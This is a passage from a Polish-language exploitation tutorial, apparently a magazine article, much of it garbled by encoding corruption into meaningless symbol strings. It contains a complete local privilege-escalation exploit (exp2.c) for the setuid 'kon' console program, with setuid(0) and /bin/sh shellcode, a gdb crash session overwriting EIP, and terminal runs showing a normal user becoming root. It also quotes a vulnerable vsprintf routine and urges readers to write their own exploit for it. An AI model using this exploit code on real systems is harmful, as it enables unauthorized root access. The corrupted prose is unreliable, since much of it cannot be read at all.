/* uruchamiamy nasz program, a jako argument podajemy nasz bufor */
execl(path,path,buf,0);
return 0;
}
Skompilujemy teraz nasz epxloit i zobaczymy czy
®« ºL® ;«¹«¿8ÀzÁµz¬5«|¼¶Z;µ ´°Ãº=« ·X¥Ä©²Z&º=«º=Á&«(¬8« ©u®µ»¨
°$´+« ÅÁÆ°(µ»¨z¶´¨=»´+«"·M²kÇ
# chmod +x victim1
$ cc exp1.c -o exp1
$ whoami
user
$ ./exp1
...
# whoami
root
#
ÈÊÉAËzÌ8Í ÎÃÏ Ð5Ë=ÑLÒLÓÔË\Õ|ÕÕÖ×|Ø5ÏÐ5ËLÎÓ&ÙÓÚÎMÛÜ5ËLÝÔËLÞ5ß]à5ÍLáÐ5ÍãâÍ"Þ5Ëz×ËËÉÕÕÕ
3. Real
ä
Ü×åLàØ'â'æ"ÎÛçÉæ"×+Í ÒXÒËLà8ÍÏÒ Û5èâ'Í
ÞéáÓ;ßÎÍVáuÜ×+Í ÝzÍÒÜ=×+Í"Ý$ÑLÒLÓÆÝPÛÎêËLÜ×Ëë×+Í"ÎËÝ$ÍÌ8Ó&æ ÎÄì=íÉAÍ"Þ5ËLÝzÍ"ÌÛÎ
Ü=×+Ëë×Í Îæ ÎSà5ßÑÒÓ;æ]Þ5ËLÌ.ì
ä
ÉÍ Ì8ÑÍ ×ÑËÝ(ËNâæáÉ2ËÌ(Ó0ÌZáQÉAÍ Ù&ËÝ(Í ÌÛ$ÝÊÝ(Ó&æÙ0ØÑÛZáQÉ×Ûà=Ø5Ï|â'ÍÏ ÐzÒÜ5Í"×+Í ÎæÉ×+æ"ÎîáuØ8Ó&Ñì
ï
ÌZðË×ÎVÍ Ïâ'ß
Ë
ÑLÒLÓØ×Ò æ
Ý
Þ5ËÌ8Ó&æ
Ü5ËÒ"ÛZáQÞ5ÍÙ&ÓÚÎMÛ
Ü=×Òæë=Ù;ñÑÍâñÏ
Ù&ÓáQÉAß
òó5ôõö÷ø
(
http://securityfocus.com/advisories/5434
ùúãû\üýuþÿ8ü&ÿ
ü
ö+÷
&ü
ó
ÿ ÿ
ö
þ ÿ5ÿ8ü
ó=öó
!
÷
ü
÷
"
ö
ôLö+÷
þ#
$
-
%'&()*,+-$.)0/&(214365"78(9:1;*,):<=3>(#?:@+)A1BC+D@2EF<*2GCHJIK&MLN7OP<PQC*-) <R3STOU7V
GW< SRGX1Y7VZ(&STOP9:)QCE[U\(2&]L^*-) &ST_2@-`F)ab*,143dc1BC( OD):<=3
&2( /,&DL[) <Y(#*,)Fc2@,e4& BfO"(21R3g<hSd):ijE):<"kl(#?:@+#&,QTknmDoo-H
p
/2BRq#c2@g36<EUNL[) iY7rOP(2<c2@,+#&DL 1Y7r_& *,1ts=9)uSCGX)*+wv xyH
Listing 5. Debugowanie kon’a.
root@localhost:~# gdb kon
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...(no debugging symbols
found)...
(gdb) r -Coding `perl -e 'print "A"x800'`
Starting program: /usr/bin/kon -Coding `perl -e 'print "A"x800'`
Kanji ON Console ver.0.3.9 (2000/04/09)
KON> video type VGA' selected
KON> hardware scroll mode.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb) quit
Voila!
z{1EwUFc<YO/&,QCBR<"( *-) 5|_&#*#GuBC&9:i^*,1Y(~}0t,z{& a"<YE[UF/B=OU-SCG5/,) k|OY*qDLZ(2&/,)WST1*,):1N</-9 &)G@KH2 U2E
BR1OP<E@2aYUg3g<E[U{3<
STO"7OP<b)**<43EF<G&(DUL^U2_&#B=OU-SCG1*,) 1c?Wi"( @hG:U/2@][Htz{<GW&(21G1LU2_,& B=OU-SCG@g3<
LwSC_,1*-)_,),OE.) <**#U7YV~QCBC&2(2& LN)WSC_& LU,7VKH ^&DGW& LU[LtU+29u5
gK=:W R¡=¢£[¤#¥y
Listing 6. exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#define PATH "/usr/bin/kon"
#define BUFS 800
/* ...::: -=[ www.pi3.int.pl ]=- :::... */
char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
"\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
"\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
"\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
"\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
"\x80"
/* setuid(0) */
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
/* setgid(0) */
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
/* exec /bin/sh */
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"
/* exit(0) */
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
long ret_ad(char *a1, char *a2) {
return (0xbffffffa-strlen(a1)-strlen(a2));
}
int ussage(char *arg) {
printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n");
printf("\n\tUssage:\n\t[+] %s [options]\n
-? <this help screen>
-o <offset>
-p PATH\n\n",arg);
exit(-1);
}
int main(int argc, char *argv[]) {
long ret,*buf_addr;
char *buf,*path=PATH;
static char *sh[]={shellcode,NULL};
int i,opt,offset=0;
FILE *fp;
while((opt = getopt(argc,argv,"p:o:?")) != -1) {
switch(opt) {
case 'o':
offset=atoi(optarg);
break;
case 'p':
path=optarg;
break;
case '?':
default:
ussage(argv[0]);
break;
}
}
if ( (fp=fopen(path,"r"))==NULL) {
printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
ussage(argv[0]);
} fclose(fp);
if (!(buf=(char*)malloc(BUFS))) {
printf("\nI can\'t locate memory! - buf\n");
exit(-1);
}
printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n");
printf("\n\t[+] Bulding buffors!\n");
ret=ret_ad(shellcode,path);
ret+=offset;
printf("\t[+] Using adres 0x%x\n",ret);
buf_addr=(long*)buf;
for(i=0;i<BUFS;i+=4) {
*(buf_addr) = ret; buf_addr++;
}
printf("\nExecuting the vuln program - %s\n\n",path);
execle(path,path,"-Coding", buf, 0, sh);
return 0;
}
¦§¨,©ª«,¬=©#C®0¨2¯W° X±ª²"³ ´Pµu¶·,©2³§¸2±¹g§Y¨©§CºD«2»¶¸2¯N³¼ §8½R§Y¾P¼:µ¿½|¶Pº#©{·2R©ºDR§Y»w«-®tÀR¯X§R§4¹;Àdµ:²8ª#±{ª2±2Á^©#¸
½[µ ¶"¼u© ¨R©D¯u¸,©ÂyÃ"µ Ä8Åƽ µ:¶"¼¿¨©ÂyÇÀÈÁW©D½N§ÉwµA³©2³§=¹.³©¸,µ:¶"º#©F¹6¶Y³2¶Y¸Êª§4¹y¯X®Ë¨2¯W° X±ª,²Y³#´Dµ ¶Ì´P§·,µWÀT§Y¸#±Ê´Y¸,§¨-µ ¶»
NULL ('\
ÍÎ
ÉyÏPÐK=´"¶¯X¶PÀC¯«g¹d»[±[½ µ ²"ø,§PÀT´"¶Yº#© ¨©#¸§2Ñ
$ whoami
user
$ ls –alh /usr/bin/kon
-rwsr-xr-x 1 root root 45k Jul 5 20:57 /usr/bin/kon*
$ cc exp2.c -o exp2
$ ./exp2
...
KON> video type VGA' selected
KON> hardware scroll mode.
...::: -=[
www.pi3.int.pl
]=- :::…
# whoami
root
#
ÒNÓÔ:Õ:ÖØ× ÙÚÖYÛ#ÜPÔ:ÖÝÖÝWÓ]ÞFÖÞßáàCÓ2ÓDâ=ãCäåDÕ:Õ Öæ×=×=×çgÖèné[Ô Û2ÖPêbÞ~åâÓ2ÛÖlÖâWÖè,ÓDé Öë-Ô:ÖíìàRÓ2î àRÖÞ~ï]Ülì2à=Üßè2ÝÖPÛ ïZÖ
ìàRÖé Û ÜPÔ¿é|åPî#Óì2àCÓ2îDàRÖÞ~ïãCï,ÔuÛ2Ó é|åPî#Óë,Ô ðYÜß2ÞãyÔ ñNë,Ô å|àCò óë-ÔÈ×-ô à=ÜPåõ,Öâuß,Õè,ÓÜYë,Ö"Õ åöPêNÓ2Û#ìÓ é Ô åPÛ ë-Ô ÷|ÓøRÔ:ÖàCñ"ù
è2âWò àRÖ Þ~Ö ï-ãCâWÖé Ô:Ó#ë#ß>ÖâWàXß2õï2ëÖâÚãÈï-Ô Û2Öúôûà=ÜPåõÖýügåYÛ#ëÖYèFï-þ4é[Ô ÖPÛ2Ó#ÞFÔ ê|éNÖÞFùÿÔóNë,Ô:å^é
ãTÜß-ãÈâuè,Ô:å Û ÜPÔ¿ï2àXß>ÛÖ=üg÷
ÛÓãÈâWñìwõ#ß õåÜYì,ÓþRàÈåYÛ ë-Ô ÓNÜYÞFÔuåë,Ô:êôËù2Ó#àRÖÜtë,Ô åé ãTÜß-ãÈâuè,ÔuårÛ Ü Ôï2àXßãT÷ÞFÓ ó Õ:Ôé åtÛÓ^éßèÓ à4Üß-ãÈâWÖë-Ô:Ö
(exploitowania).
Ó~Û2ÓwâWå4üAÞ~åâÓ2Û ß,ùè2âò àC÷tïóß,ÕuÔuþCÞwß~éhâ:ß2Þ
ìà=Üß2èÝÖ"Û#ÜPÔ åDùâÓwàRò#óë,Ô
ãdÔ:ñ|Ó ë,ÖâuàRÓãTÜè,ñNÓ2Û[ìÓ ìà=Ü"åPÛ ë-Ô å=üù,î#ÛDßó
ë-Ô åïóß#é Ö"Õ:ÔWþRÞßÌé|ðPÖ"Õ åÔ ë-ãRâWà=ï2è,ð=ü
Ô Ô
âàCÖ"ø4ÔuÕuÔuþÈÞ[ßé
ìÓ#ì2àRÖé^ë2ß;Ö"Û àRåDãtÜ"Öwì,Ô:åàXéwãCÜßÞ
àRÖÜDåÞÌúæôÓ^ü6åDãCâ
é|ÝÖPþÈë,Ô å>ÜDÖ"Õ åâW÷Ìî#ÛDßMï2ÞÔ å þÈð"Ô Þ[ßãCä,åPÕuÕ ð"ÓÛ2åé
ÜYÞÔ:åë2ë2ßðYäÊþCàCÓ2Û2Ó é ÔãÈè,ÓDétß-ðäÿúóßÝåÞ
àRò éë-Ô:åó;Ôë2ë,å"î2Ó
ãTäåPÕ:Õ:ð"Ó2Û ï-ùÚÖ"ÕuåàRÓ#õ,Ô
Ó ëâXÓãdÖÞÓ8ðPÓ;ì,Ó ìà=ÜPå"Û ë,Ô:åÜFâuß2Þ
ÜPÖDãCâà=Ü"åóPåë,Ô åYÞFùÚÔ ó>Û2ÓÛ2ÖÝWåÞ
éãTäåPÕ:Õ:ð"Ó2Û ÜDÔ:åFõ2ß
é^ß-þ4é[Ô åâÕ Ö
Ý Ó#ëÕuÔë2è.ÛÓ[ÞFÓyüå=ütãÈâuàRÓ#ë#ß Èú¿ú ú
-=[
www.pi3.int.pl
]=-
:ú úúCù-Ó àRÖYÜ^ëÖ[ãTÖYÞ\èÓ#ë,ÔuåYð|Û2ÓÛ2ÖYÝåÞ
ÔëØãCâà=ï2è,ð4ü6ñFå-Ô¿âù
è2âò#àRÖ.ãyÔuñwéß2è,Ó ë,ÖFî#ÛDß2õ2ß8ðYÓþrõ2ß2ÝÓ>ë,Ôuå âÖèÌÜ>ãCäåDÕ:Õ ðPÓ2ÛåÞ
np
ú,âWàRÖ"øRÔ:ÕuÔ¿õ#ß-þÈÞ[ßé
þRàRÓÛ2åYè
ë-Ô å"î2ÓûÔé^ß2èÓ#ë#ß#éNÖÝWÓ õ#ßãyÔ ñrë
ie to co powinno –
âÖè,Ô årÞ~ÖYÝåÜPÖõåYÜì-Ô å"ðÜ"åYë,Ô å2ú
=DNR F]HQLH
"!$#%'&()#*,+.- / 0%21-+32%&%5467896;:<$#>=?! '@AA8:BA!9#>C/(:4D"+B:<%E1/F$/,&(G"+;H&(IJ/(4D%21/D-+;/,1)+7A=CK#91&(8
2/L E@AA8=8M2%5NO"$EP -$Q:R0C!$#%C=SS0/1,#@""! %21,/T/,1+;A!9#@A)%A!$#K- /&,@AE)6 $/(-$#/)4UA!$#V@A)%1/$P &/WL,9X3/(+Y$Z
oznac
2[:</ Z\#>]^:R_XR!, @YNO[=S/(]2%^L,8 `M4F+;"])0#a4Ucb
np
d
1&)8e/,1)+;!$#@AE%"!$#%[- QA:B0#fNg%)67:U0#@"L ["! " H(44
h"i;j)k,lSm"n o2pm_hqn$pm^rUpm2s*t u vxwqy,k9z3u(iYk{x|
P
u(} hA~Ji3len hq((p>k,i;[rr'k( zR~J} ,m2h"lVu(n9pmc<} m"n$m^hE( pJxuiB
lVu(2n h52n h2sm"2w\} uUh2i;mExm"l
http://www.securityfocus.com/archive/1/338436
):
int SockPrintf(FILE *sockfp, char *format,...)
{
va_list ap;
char buf[32768];
va_start(ap, format);
vsprintf(buf, format, ap);
va_end(ap);
return SockWrite(buf, 1, strlen(buf), sockfp);
}
Ep>ki;hArDhzBk,n,t$o3Oh uoAt,i7p>n,~ Om)7~ sh~Bmju p>ek"rDhzRk,nt o;Op$},i7p*n~Bzt,~R(i7hn$pm},i;h"rFEhoEp2j(k
h"i;j)k,lSm"n~<(r},iYEmAouOmE~lVu(EsJparDm},i3)mA} m"n9pmAn9pm5yk$z3ui;h|Cpm(;~RmA~Ch"t,k,i7h~ r~,l¡},i3,} h2(t,kU~<h\()p>k,ih
n9pmfOm)7~lKu)sp>rDh',ur,t ui3A9~<hn$ph,|EurpEom35p>n$zYu(i3lVhEo3Op u, ,Jh"l¢u
} m"n$mjuUhE($pxuiB|
k,2uct u(lVmAi7oAg£n m2jucu(}i;u,j)i7hAlSu)rDh"n9phWt ui3A9~<hWW~<mEoA¤,n$usuj,pp
Open Source. Niektóre bugi jednak
lVu,jVy wCy$hAi;Eu},i;u$7~Rur',tiB~<mV} u(}i32m"VAr't,JmC}i3EmA~<mE~<u)rUhAn9pmCKy h"i;()uM(k$j,p>l} hAi7hAlSm~i7m"l¥u
t$hAEm3,u 7~R"},n mY¦u} o3p },i7u,j)i;hlCk|(§ (kg£i3",l"n$hAn$mn h"l¨$m
gmentation fault zdebugujcie program
i napiszcie exploita ;).
©
n$zYu(i3lVho;gm
u
n$h3£n u)rA oA¤
u,t,iB,~ o¤
y,k$jho¤
x
u ~<A}n m
n h
spvxo2pm
y,k j)~i7h2ª
(
http://securityfocus.com/archive/1
«x¬CF®A¯2°(±³² ®µ´R¶¸·¹Jº7´R¶µ»S¼(¯E½¡º£¹¶¾
®A¿9¹Jºx®2À,¬CÁ¼)´<¼(ÂD½Ã½"Ä¿9·¼¹>´±ÅºxÆ
Ç;È
²9¹½A¯D²$® ´R½3É ·¹ÊËE¹½'¾2®»V¹½(º7¾)ËA¾2®² ½EÌ ®E·½'´<¼K¼ÂD¹½2·½
Ç
¾E®°(¾(¹½3ÉE¬2Í®3É"ÊY¹½"¯(º¾2½F½"Ä¿9·¼¹a´J±C»V¼(¯2² ®'¾²$®2·½Î2À²$®
stronie packetstorm (
http://www.packetstormsecurity.nl
).
5. Bibliografia
http://phrack.org/show.php?p=49&a=14
http://www.pi3.int.pl